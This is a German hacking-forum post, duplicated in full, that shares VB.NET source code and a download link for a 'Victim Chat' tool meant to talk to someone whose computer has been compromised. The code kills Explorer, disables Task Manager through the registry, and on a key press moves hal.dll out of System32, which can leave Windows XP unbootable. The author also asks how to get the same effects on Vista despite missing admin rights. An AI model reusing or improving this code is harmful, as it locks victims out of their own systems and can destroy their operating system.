mainstream
03.08.2009, 02:48
Hi
Ich habe einen kleinen Programm gemacht,mit dem man nicht mehr über das blöde .txt Dokument mit dem Victim chatten muss :)
Wenn ihr es startet,wird der explorer und der taskmanager(nur bei xp) gekillt.
mit f2 wird hal.dll(auch nur xp) gelöscht.
Wenn ihr auf f1 drückt,wird der task manager,die explorer.exe und die hal.dll wiederhergestellt und das Chat Fenster geht weg.
Also,an dieser Stelle hätte ich noch eine Frage.
Wie mache ich,dass bei Vista der task manager gekillt wird und die hal.dll gelöscht bzw umbenannt oder verschiebt wird?Dafür braucht man ja Admin Rechte-.-
Hier der Source Code,ist nichts besonderes =)
Edit:Link :D
http://rapidshare.com/files/263082313/Victim_Chat.exe
Public Class Form1
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Shell("taskkill /f /im ""Explorer.exe""")
Dim regKey As Microsoft.Win32.RegistryKey = _
Microsoft.Win32.Registry.CurrentUser.CreateSubKey _
("Software\Microsoft\Windows\CurrentVersion\Policies \System")
regKey.SetValue("DisableTaskMgr", 1)
End Sub
Private Sub RichTextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs)
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
If GetAsyncKeyState(113) Then
System.IO.File.Move("C:\Windows\System32\hal.dll", "C:\Windows")
End If
If GetAsyncKeyState(112) Then
Shell("Explorer.exe")
Dim regKey As Microsoft.Win32.RegistryKey = _
Microsoft.Win32.Registry.CurrentUser.CreateSubKey _
("Software\Microsoft\Windows\CurrentVersion\Policies \System")
regKey.SetValue("DisableTaskMgr", 0)
Shell("C:\Windows\Explorer.exe")
System.IO.File.Move("C:\Windows\System32\hal.dll", "C:\Windows\hal.dll")
End
ElseIf GetAsyncKeyState(112) Then
Shell("C:\Windows\Explorer.exe")
ElseIf GetAsyncKeyState(112) Then
End
End If
End Sub
Private Sub RichTextBox2_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles RichTextBox2.TextChanged
End Sub
End Class
Credits:me,sonix
Ich habe einen kleinen Programm gemacht,mit dem man nicht mehr über das blöde .txt Dokument mit dem Victim chatten muss :)
Wenn ihr es startet,wird der explorer und der taskmanager(nur bei xp) gekillt.
mit f2 wird hal.dll(auch nur xp) gelöscht.
Wenn ihr auf f1 drückt,wird der task manager,die explorer.exe und die hal.dll wiederhergestellt und das Chat Fenster geht weg.
Also,an dieser Stelle hätte ich noch eine Frage.
Wie mache ich,dass bei Vista der task manager gekillt wird und die hal.dll gelöscht bzw umbenannt oder verschiebt wird?Dafür braucht man ja Admin Rechte-.-
Hier der Source Code,ist nichts besonderes =)
Edit:Link :D
http://rapidshare.com/files/263082313/Victim_Chat.exe
Public Class Form1
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Shell("taskkill /f /im ""Explorer.exe""")
Dim regKey As Microsoft.Win32.RegistryKey = _
Microsoft.Win32.Registry.CurrentUser.CreateSubKey _
("Software\Microsoft\Windows\CurrentVersion\Policies \System")
regKey.SetValue("DisableTaskMgr", 1)
End Sub
Private Sub RichTextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs)
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
If GetAsyncKeyState(113) Then
System.IO.File.Move("C:\Windows\System32\hal.dll", "C:\Windows")
End If
If GetAsyncKeyState(112) Then
Shell("Explorer.exe")
Dim regKey As Microsoft.Win32.RegistryKey = _
Microsoft.Win32.Registry.CurrentUser.CreateSubKey _
("Software\Microsoft\Windows\CurrentVersion\Policies \System")
regKey.SetValue("DisableTaskMgr", 0)
Shell("C:\Windows\Explorer.exe")
System.IO.File.Move("C:\Windows\System32\hal.dll", "C:\Windows\hal.dll")
End
ElseIf GetAsyncKeyState(112) Then
Shell("C:\Windows\Explorer.exe")
ElseIf GetAsyncKeyState(112) Then
End
End If
End Sub
Private Sub RichTextBox2_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles RichTextBox2.TextChanged
End Sub
End Class
Credits:me,sonix